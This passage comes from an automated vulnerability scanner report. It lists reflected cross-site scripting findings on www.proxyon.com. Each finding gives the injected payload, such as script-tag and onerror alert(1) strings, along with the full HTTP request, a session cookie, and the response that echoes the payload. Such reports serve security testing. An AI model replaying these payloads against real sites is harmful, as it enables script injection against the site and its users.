1.566. http://www.proxyon.com/communication/links [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/communication/links

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 63b87"><script>alert(1)</script>75bff2221da was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /communication/links?63b87"><script>alert(1)</script>75bff2221da=1 HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:08:51 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:08:51 GMT
Content-Type: text/html
Content-Length: 8842

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<form action="/communication/links?63b87"><script>alert(1)</script>75bff2221da=1" method="post">
...[SNIP]...

1.567. http://www.proxyon.com/contact [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/contact

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f25ea"><script>alert(1)</script>d14a4547810 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /contactf25ea"><script>alert(1)</script>d14a4547810 HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:08:50 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:08:50 GMT
Content-Type: text/html
Content-Length: 8812

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<form action="/contactf25ea"><script>alert(1)</script>d14a4547810" method="post">
...[SNIP]...

1.568. http://www.proxyon.com/contact [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/contact

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8a7e0<img%20src%3da%20onerror%3dalert(1)>aa2ac8e90b5 was submitted in the REST URL parameter 1. This input was echoed as 8a7e0<img src=a onerror=alert(1)>aa2ac8e90b5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /contact8a7e0<img%20src%3da%20onerror%3dalert(1)>aa2ac8e90b5 HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:08:55 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:08:55 GMT
Content-Type: text/html
Content-Length: 8865

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<p>We're sorry! This page ("contact8a7e0<img src=a onerror=alert(1)>aa2ac8e90b5") is not available. Please visit the <a href='home'>
...[SNIP]...

1.569. http://www.proxyon.com/contact [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/contact

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 38dc4"><script>alert(1)</script>3094662b421 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /contact?38dc4"><script>alert(1)</script>3094662b421=1 HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:08:49 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:08:49 GMT
Content-Type: text/html
Content-Length: 8978

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<form action="/contact?38dc4"><script>alert(1)</script>3094662b421=1" method="post">
...[SNIP]...

1.570. http://www.proxyon.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35e9a"><script>alert(1)</script>e287d92d681 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico35e9a"><script>alert(1)</script>e287d92d681 HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:08:51 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:08:51 GMT
Content-Type: text/html
Content-Length: 8820

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<form action="/favicon.ico35e9a"><script>alert(1)</script>e287d92d681" method="post">
...[SNIP]...

1.571. http://www.proxyon.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f0ab3<img%20src%3da%20onerror%3dalert(1)>b3bb5b918bd was submitted in the REST URL parameter 1. This input was echoed as f0ab3<img src=a onerror=alert(1)>b3bb5b918bd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /favicon.icof0ab3<img%20src%3da%20onerror%3dalert(1)>b3bb5b918bd HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:08:56 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:08:56 GMT
Content-Type: text/html
Content-Length: 8877

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<p>We're sorry! This page ("favicon.icof0ab3<img src=a onerror=alert(1)>b3bb5b918bd") is not available. Please visit the <a href='home'>
...[SNIP]...

1.572. http://www.proxyon.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 142be"><script>alert(1)</script>6e623606e3d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico?142be"><script>alert(1)</script>6e623606e3d=1 HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:08:49 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:08:49 GMT
Content-Type: text/html
Content-Length: 8775

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<form action="/favicon.ico?142be"><script>alert(1)</script>6e623606e3d=1" method="post">
...[SNIP]...

1.573. http://www.proxyon.com/solutions/fico_solutions [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/solutions/fico_solutions

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d762f"><script>alert(1)</script>1b245bcccb0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /solutionsd762f"><script>alert(1)</script>1b245bcccb0/fico_solutions HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:08:52 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:08:52 GMT
Content-Type: text/html
Content-Length: 8848

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<form action="/solutionsd762f"><script>alert(1)</script>1b245bcccb0/fico_solutions" method="post">
...[SNIP]...

1.574. http://www.proxyon.com/solutions/fico_solutions [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.proxyon.com
Path:	/solutions/fico_solutions

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a97dc"><a>2d4caced62e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /solutions/fico_solutionsa97dc"><a>2d4caced62e HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:08:56 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:08:56 GMT
Content-Type: text/html
Content-Length: 8819

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<form action="/solutions/fico_solutionsa97dc"><a>2d4caced62e" method="post">
...[SNIP]...

1.575. http://www.proxyon.com/solutions/fico_solutions [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.proxyon.com
Path:	/solutions/fico_solutions

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 9b41f<a>8d1e2a1dfa6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /solutions/fico_solutions9b41f<a>8d1e2a1dfa6 HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:09:07 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:09:07 GMT
Content-Type: text/html
Content-Length: 8813

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<p>We're sorry! This page ("fico_solutions9b41f<a>8d1e2a1dfa6") is not available. Please visit the <a href='home'>
...[SNIP]...

1.576. http://www.proxyon.com/solutions/fico_solutions [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/solutions/fico_solutions

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ee67"><script>alert(1)</script>44362607ba7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /solutions/fico_solutions?4ee67"><script>alert(1)</script>44362607ba7=1 HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:08:51 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:08:51 GMT
Content-Type: text/html
Content-Length: 9651

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<form action="/solutions/fico_solutions?4ee67"><script>alert(1)</script>44362607ba7=1" method="post">
...[SNIP]...

1.577. http://www.proxyon.com/solutions/reorganizing_system_structures [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/solutions/reorganizing_system_structures

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1048"><script>alert(1)</script>d9793109da7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /solutionsa1048"><script>alert(1)</script>d9793109da7/reorganizing_system_structures HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:08:52 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:08:52 GMT
Content-Type: text/html
Content-Length: 8880

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<form action="/solutionsa1048"><script>alert(1)</script>d9793109da7/reorganizing_system_structures" method="post">
...[SNIP]...

1.578. http://www.proxyon.com/solutions/reorganizing_system_structures [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.proxyon.com
Path:	/solutions/reorganizing_system_structures

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25d03"><a>1ee4891cb37 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /solutions/reorganizing_system_structures25d03"><a>1ee4891cb37 HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:08:56 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:08:56 GMT
Content-Type: text/html
Content-Length: 8867

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<form action="/solutions/reorganizing_system_structures25d03"><a>1ee4891cb37" method="post">
...[SNIP]...

1.579. http://www.proxyon.com/solutions/reorganizing_system_structures [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.proxyon.com
Path:	/solutions/reorganizing_system_structures

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 1dcea<a>c9255b06849 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /solutions/reorganizing_system_structures1dcea<a>c9255b06849 HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:09:07 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:09:07 GMT
Content-Type: text/html
Content-Length: 8861

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
